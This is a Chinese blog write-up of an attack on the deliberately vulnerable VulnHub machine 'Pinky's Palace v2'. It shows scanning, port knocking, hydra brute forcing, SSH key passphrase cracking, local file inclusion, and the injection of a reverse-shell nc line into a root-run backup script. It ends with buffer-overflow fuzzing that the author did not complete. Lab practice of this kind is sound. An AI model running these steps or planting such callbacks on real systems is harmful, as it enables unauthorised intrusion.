VulnHub-Pinky’s Palace: v2 靶场渗透测试

时间:2021.4.8

靶场信息:
地址:https://www.vulnhub.com/entry/pinkys-palace-v2,229/
发布日期:2018年3月18日 
目标:得到root权限&找到flag.txt

一、信息收集

1、获取靶机IP地址

nmap -sP 192.168.137.0/24

image-20210408165655897

由探测结果可知,靶机的IP为192.168.137.131

2、扫描开放的端口和服务

nmap -sS -sV -T5 -p- 192.168.137.131

image-20210408165805878

得到开放的端口信息:

80/tcp    open     http    Apache httpd 2.4.25 ((Debian))
4655/tcp  filtered unknown
7654/tcp  filtered unknown
31337/tcp filtered Elite

3、网站信息收集

浏览器访问80端口,发现解析不了,回过头看靶机的说明,提示要在hosts文件加上这条解析记录

image-20210408170241162

那按要求输入命令即可

echo 192.168.137.131 pinkydb | sudo tee -a /etc/hosts

然后重新访问,即可正常显示了

image-20210408170533059

易知该网站是用wordpress搭建的

image-20210408170944946

所以就直接用wpscan扫描一下用户,发现pinky1337

wpscan --url http://pinkydb/ --enumerate u

image-20210408172229533

然后使用gobuster爆破一下目录

gobuster dir -u http://pinkydb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.txt

image-20210408172725445

发现wordpress目录,访问之后发现是一个全新的wordpres搭建过程,没什么用,再看看其他爆破得到的目录

2

发现secret目录,访问之后里面有一个bambam.txt,里面内容如下

image-20210408173243116

里面应该是三个端口号,但前期我们通过nmap并没有探测到这三个端口,并且有几个端口都是filtered状态,所以猜测这里通过knock来开启其余三个端口。首先根据上述的3个数字进行排列组合,因为不知道是根据哪个顺序来判断的,所以使用Python脚本生成可能的序列

from itertools import combinations, permutations
print(list(permutations([8890,7000,666])))

然后编写shell脚本

    #!/bin/bash
    while read -r line
    do
    echo '---------------'
    knock -v 192.168.137.131 $line
    done < /tmp/knock.txt

image-20210408175606630

运行shell脚本,然后再用nmap查看一下靶机的端口状态,4655、7654、31337端口都从filtered状态变成了open

image-20210408175958169

二、漏洞探测

访问7654端口,得到一个登录页面

image-20210408180507036

试了试弱口令,还有sqlmap都没用,这里应该是要爆破了,用户名猜测有admin、pinkydb、pinky1337,密码就用cewl生成的密码字典

cewl http://pinkydb/ -w /tmp/pass.txt
hydra -L user.txt -P pass.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid Username"

image-20210408184004739

成功爆破出三个用户密码

login: pinky   password: Passione
login: pinkydb   password: Pinky
login: pinky1337   password: Blog

登录pinky用户的账号,发现了Stefano提供的RSA密钥让我们登录,下载到本地,然后试试可以不可以登录

image-20210408184751927

发现要私钥密码才能登录,可以使用ssh2john将将密钥转换为可破解的哈希,使用John the Ripper破解这个哈希值,这样就可以破解私有ssh密钥的密码

python /usr/share/john/ssh2john.py /tmp/id_rsa > /tmp/crack_rsa
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/crack_rsa

image-20210408185830431

得到私钥为secretz101,再ssh成功登录

image-20210408190116642

在家目录下发现tools目录,里面有个note.txt文件,告诉我们Pinky给我做了这个程序让我容易发消息给他,查看了这个文件的权限发现只有执行权限,gdb和file工具都用不了,并且程序的所属组为www-data

image-20210408190901001

三、漏洞利用

在登录进来的页面发现存在本地文件包含漏洞

image-20210408191244818

那就试着读取一下qsub程序,发现了TERM环境变量

image-20210408191559226

输入TERM环境变量的值,就会出现Welcome to Question Submit!,那么这里直接输入一个反弹shell

image-20210408192836101

发现stefano_msg.txt,查看里面的内容没有有价值的东西

image-20210408193546482

在/usr/local/bin目录下发现一个sh文件,该文件的所属组为pinky,当前用户所属组为stefano,使用newgrp进入pinky组中,查看sh文件内容,发现是将html目录进行打包,再将之前的压缩包删除

image-20210408194347762

既然是用来备份用的,那么就将反弹shell脚本写到文件里,等运行时就可以获得demon用户的shell了

echo 'nc  /bin/bash 192.168.137.150 7777' >> /usr/local/bin/backup.sh

查看进程信息,发现root用户运行了一个名为panel的程序

image-20210408200914282

四、提权

将程序传到kali上,然后用gdb调试

image-20210408202439188

在gdb上设置为跟随fork并保持它们的绑定

image-20210408202631302

然后这边连接一下31337端口

echo $(python -c "print 'A'*500") | nc localhost 31337

image-20210408204048470

可以看到段错误 0x00000000004009aa in handlecmd ()

image-20210408204141312

现在就找一下溢出的边界值

image-20210408204521696

后面就实在不会了...

可以参考:

Pinky’s Palace: v2

总结

比上一个版本的靶机难度提升了很多,后面利用缓冲区溢出提权野是薄弱的地方,还得多补补这方面的知识。

posted @ 2021-04-08 20:56  l2sec  阅读(392)  评论(0编辑  收藏  举报